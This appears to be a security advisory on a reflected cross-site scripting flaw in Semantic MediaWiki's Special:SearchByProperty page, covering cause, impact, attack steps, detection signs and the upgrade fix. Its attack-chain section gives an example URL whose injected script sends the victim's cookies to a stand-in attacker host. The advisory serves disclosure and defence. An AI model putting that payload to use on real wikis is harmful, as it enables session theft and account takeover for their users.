CVE-2026-77608: 
PHP vulnerability analysis and mitigation

CVE-2026-77608 is a reflected Cross-Site Scripting (XSS) vulnerability in Semantic MediaWiki, a free open-source extension to MediaWiki. The flaw exists in the Special:SearchByProperty special page, where the property and value parameters are reflected back into rendered output and error messaging paths without sufficient output-context encoding. All versions up to and including 7.1.0 are affected; version 7.2.0 resolves the issue. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory). The vulnerability was originally published on July 18, 2026, and added to the GitHub Advisory Database on September 18, 2026 (GitHub Advisory).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, the value parameter submitted to Special:SearchByProperty was reflected back into the rendered HTML output and into derived error messages without proper HTML encoding, allowing attacker-controlled content to be interpreted as script by the browser. Exploitation requires no authentication and no special privileges, but does require user interaction (i.e., a victim must follow a crafted link). The fix escapes form values before placing them back into input fields and also escapes derived error messages before rendering them into HTML (GitHub Advisory, SMW Security Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected MediaWiki site. This can lead to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and potential defacement of wiki content visible to the user. Because the scope is changed (S:C in CVSS), the impact can extend beyond the vulnerable component itself, affecting other resources within the browser's security context (GitHub Advisory).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is 0.0, indicating a very low probability of exploitation in the near term, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog (GitHub Advisory). The attack requires no privileges and has low complexity, but does require a victim to interact with a crafted URL, which somewhat limits opportunistic exploitation.

1. Reconnaissance: Identify publicly accessible MediaWiki instances running Semantic MediaWiki version 7.1.0 or earlier with the Special:SearchByProperty page enabled.
2. Craft malicious URL: Construct a URL targeting the Special:SearchByProperty endpoint with a malicious payload injected into the value (or property) parameter, for example: https://example-wiki.org/wiki/Special:SearchByProperty?property=SomeProperty&value=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
3. Deliver the link: Send the crafted URL to a target victim via phishing email, social engineering, or by embedding it in another page, enticing the victim to click it.
4. XSS execution: When the victim loads the URL, the unescaped value parameter is reflected into the rendered HTML page or error message, causing the browser to execute the injected JavaScript.
5. Achieve objective: The executed script can steal session cookies, perform actions on the wiki on behalf of the victim, or redirect the user to an attacker-controlled site (GitHub Advisory, SMW Security Advisory).

• Network: HTTP GET requests to Special:SearchByProperty containing URL-encoded script tags or JavaScript event handlers in the value or property query parameters (e.g., %3Cscript%3E, onerror=, javascript:).
• Logs: Web server access logs showing requests to /wiki/Special:SearchByProperty with anomalous or encoded characters in query string parameters; repeated requests from the same IP with varying payloads may indicate probing.
• Browser/Client-Side: Unexpected outbound requests from victim browsers to external domains immediately after visiting a Special:SearchByProperty URL, potentially indicating cookie exfiltration or redirection.

The primary remediation is to upgrade Semantic MediaWiki to version 7.2.0 or later, which escapes the value parameter before rendering it in input fields and escapes derived error messages before inserting them into HTML (SMW Release 7.2.0, GitHub Advisory). No configuration-based workaround is documented; upgrading is the recommended and only confirmed fix. As a temporary measure, administrators may consider restricting access to Special:SearchByProperty for unauthenticated users if the wiki's use case permits.

The vulnerability was reported by researcher krabina and published by alistair3149 on behalf of the Semantic MediaWiki project (SMW Security Advisory). The advisory includes a notable maintenance note cautioning developers not to treat error text as trusted even when it originates from validation routines, as validation output can still be attacker-influenced. No broader media coverage or significant social media discussion has been identified at this time.